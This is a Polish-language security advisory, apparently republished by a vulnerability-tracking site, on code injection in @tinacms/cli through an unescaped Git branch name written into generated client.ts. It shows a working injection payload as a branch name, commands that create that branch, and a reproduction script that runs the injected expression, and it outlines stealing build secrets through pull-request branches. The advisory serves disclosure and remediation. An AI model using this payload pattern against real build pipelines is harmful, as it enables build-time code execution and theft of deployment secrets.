Wysoka

Tina: Wstrzyknięcie kodu przez niesanitaryzowaną nazwę gałęzi Git w wygenerowanym kodzie klienta

  • Ujawniono: 09.10.2026
  • Aktualizacja: 11.10.2026 10:28

Podsumowanie

@tinacms/cli wstawia nieprzetworzoną wartość gałęzi Git do wygenerowanego kodu źródłowego client.ts bez ucieczki znaków ani kodowania. Prawidłowa według Gita nazwa gałęzi może domknąć literał łańcuchowy i wstrzyknąć dowolne wyrażenie JavaScript, które wykonuje się, gdy proces budowania aplikacji importuje wygenerowany moduł klienta.

Komponent podatny

  • Źródło (odczyt gałęzi): packages/@tinacms/cli/src/cmds/init/templates/config.ts linie 155–172 — odczytuje VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH lub HEAD do config.branch
  • Transformacja (tworzenie URL): packages/@tinacms/cli/src/next/codegen/index.ts linie 219–253 — _createApiUrl() łączy bezpośrednio gałąź z adresem URL API bez encodeURIComponent
  • Ujście (szablon): packages/@tinacms/cli/src/next/codegen/index.ts linie 363–381 — genClient() interpoluje adres URL do url: '${apiURL}'
  • Pokrewne ujście: packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts linia 55 — url: "${apiURL}" (ten sam wzorzec, podwójne cudzysłowy)

Przyczyna źródłowa

Szablon generatora kodu w index.ts:376 używa:

ts
url: '${apiURL}'

gdzie apiURL zawiera surową nazwę gałęzi. Na żadnym etapie potoku nie jest stosowana funkcja JSON.stringify, encodeURIComponent ani żadne uciekanie znaków. Pojedynczy cudzysłów w nazwie gałęzi domyka literał łańcuchowy i umożliwia wstrzyknięcie wyrażenia.

Ładunek (payload)

Poniżej znajduje się poprawna nazwa gałęzi Git (akceptowana przez git check-ref-format):

x'+(globalThis.__TINA_PROBE='hit')+'

Wygenerowane źródło (ujście)

Gdy generator kodu uruchomi się z tą gałęzią, wygenerowany plik client.ts zawiera:

ts
export const client = createClient({
  url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'',
  token: '<token>',
  queries,
});

Znak ' w nazwie gałęzi domyka ciąg adresu URL. Ciąg +(globalThis.__TINA_PROBE='hit')+ jest interpretowany jako wyrażenie JavaScript. Końcowy znak +' otwiera ciąg ponownie, zachowując poprawność składni.

Kroki do odtworzenia

Wymagania wstępne: Node.js, Git, npm

bash
mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro
git init && git commit --allow-empty -m "init"
git branch "x'+(globalThis.__TINA_PROBE='hit')+'"
npm init -y && npm install esbuild

Utwórz repro.mjs:

js
import { transform } from 'esbuild';
import vm from 'vm';

// Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch
const branch = "x'+(globalThis.__TINA_PROBE='hit')+'";

// _createApiUrl() logic from index.ts:252
const apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;

// genClient() template from index.ts:376
const generated = `
import { createClient } from "tinacms/dist/client";
export const client = createClient({ url: '${apiURL}', token: 'xxx' });
`;

console.log("Generated source:\n", generated);

// Compile (same as consumer build)
const compiled = await transform(generated, { loader: 'ts', format: 'cjs' });

// Execute in sandboxed VM
const sandbox = {
  globalThis: {},
  module: { exports: {} },
  exports: {},
  require: () => ({ createClient: (o) => o }),
};
vm.createContext(sandbox);
vm.runInContext(compiled.code, sandbox);

console.log("__TINA_PROBE =", sandbox.globalThis.__TINA_PROBE);
// Output: __TINA_PROBE = hit

Uruchom: node repro.mjs

Wynik: globalThis.__TINA_PROBE przyjmuje wartość 'hit', co potwierdza wykonanie wstrzykniętego wyrażenia podczas ewaluacji modułu.

Próba kontrolna: Powtórzenie z branch = "feature/safe-branch" nie wywołuje wstrzyknięcia.

Wpływ

Wstrzyknięte wyrażenie wykonuje się z pełnymi uprawnieniami procesu budowania u konsumenta. W typowym środowisku wdrożeń podglądowych Vercel lub GitHub Actions:

  • Zmienne środowiskowe budowania są dostępne (process.env), co może obejmować NPM_TOKEN, VERCEL_TOKEN, sekrety dostawców chmury i klucze API
  • Artefakty kompilacji mogą zostać zmodyfikowane, co umożliwia atak na łańcuch dostaw we wdrażanym produkcie
  • Dostęp sieciowy pozwala na eksfiltrację danych

Scenariusz ataku: Osoba atakująca tworzy pull request do dowolnego projektu open source korzystającego z TinaCMS z włączonymi wdrożeniami podglądowymi (np. Vercel automatycznie wdraża każdą gałąź PR). Nazwa gałęzi zawiera ładunek. Proces wdrożenia uruchamia generator Tina, generuje wstrzyknięty plik client.ts, a złośliwy kod wykonuje się w trakcie budowania.

Warunki wstępne:

  1. Atakujący może utworzyć gałąź lub PR wyzwalający budowanie u konsumenta
  2. Konsument korzysta z TinaCMS z wygenerowaną konfiguracją gałęzi (odczytującą z VERCEL_GIT_COMMIT_REF lub odpowiednika)
  3. Generowanie kodu Tina SDK jest włączone (domyślnie)

Ocena dotkliwości

Wysoka (High) — wykonanie dowolnego kodu w czasie budowania za pośrednictwem kontrolowanej referencji Git. Poziom krytyczny nie został przypisany, ponieważ weryfikacja nie demonstrowała eksfiltracji poufnych danych ani manipulacji artefaktami produkcyjnymi; użyto jedynie nieszkodliwego znacznika.

Sugerowane rozwiązanie

  1. Użyj JSON.stringify(value), aby bezpiecznie serializować wszelkie wartości wykonawcze interpolowane w szablonach generowanego kodu źródłowego
  2. Zastosuj encodeURIComponent() do wartości gałęzi przed utworzeniem segmentu ścieżki adresu URL API
  3. Zastosuj to samo podejście dla apiURL, token, errorPolicy, cacheDir oraz szablonu AddGeneratedClientFunc w plugin.ts
  4. Rozważ całkowite wyeliminowanie wartości wykonawczych z szablonów kodu źródłowego i przekazywanie ich przez plik konfiguracyjny JSON odczytywany przez generowanego klienta w czasie działania

Powiązane ostrzeżenie

GHSA-4936-9hrh-qqpw — zdalne wykonanie kodu przez wygenerowany kod źródłowy migracji TinaCMS Forestry. Inne źródło (etykiety Forestry YAML), inny parser (pomocnik usuwania cudzysłowów __TINA_INTERNAL__) oraz inne ujście (tina/templates.ts). Niniejsze zgłoszenie nie jest duplikatem.

Co trzeba zrobić

Zaktualizuj pakiet @tinacms/cli do wersji 3.0.0 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm @tinacms/cli < 3.0.0 3.0.0

Odnośniki

Ocena CVSS 8.2/10
Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Słabość (CWE)
CWE-94
Platforma
npm
Paczka
@tinacms/cli
Ujawniono
09.10.2026
Aktualizacja
11.10.2026 10:28

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-pwhx-cvv3-qj5c - CC BY 4.0

Historia podatności: @tinacms/cli

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (9) w archiwum
Wszystkich wpisów
9
Pierwsza → ostatnia
02.2023 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 6
  • Średnia 2

Ujawnienia w latach

  1. 2023: 1
  2. 2024: 1
  3. 2025: 1
  4. 2026: 6
Istotność:
  1. Tina: Wstrzyknięcie kodu przez niesanitaryzowaną nazwę gałęzi Git w wygenerowanym kodzie klienta ten wpis
    Wysoka · 8.2 CVE-2026-108259 < 3.0.0 3.0.0
  2. Wysoka CVE-2025-68278 < 2.0.4 2.0.4
  3. Wysoka · 7.5 CVE-2024-45391 < 1.6.2 1.6.2
  4. Wysoka · 8.6 CVE-2023-25164 >= 1.0.0, < 1.0.9 1.0.9

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.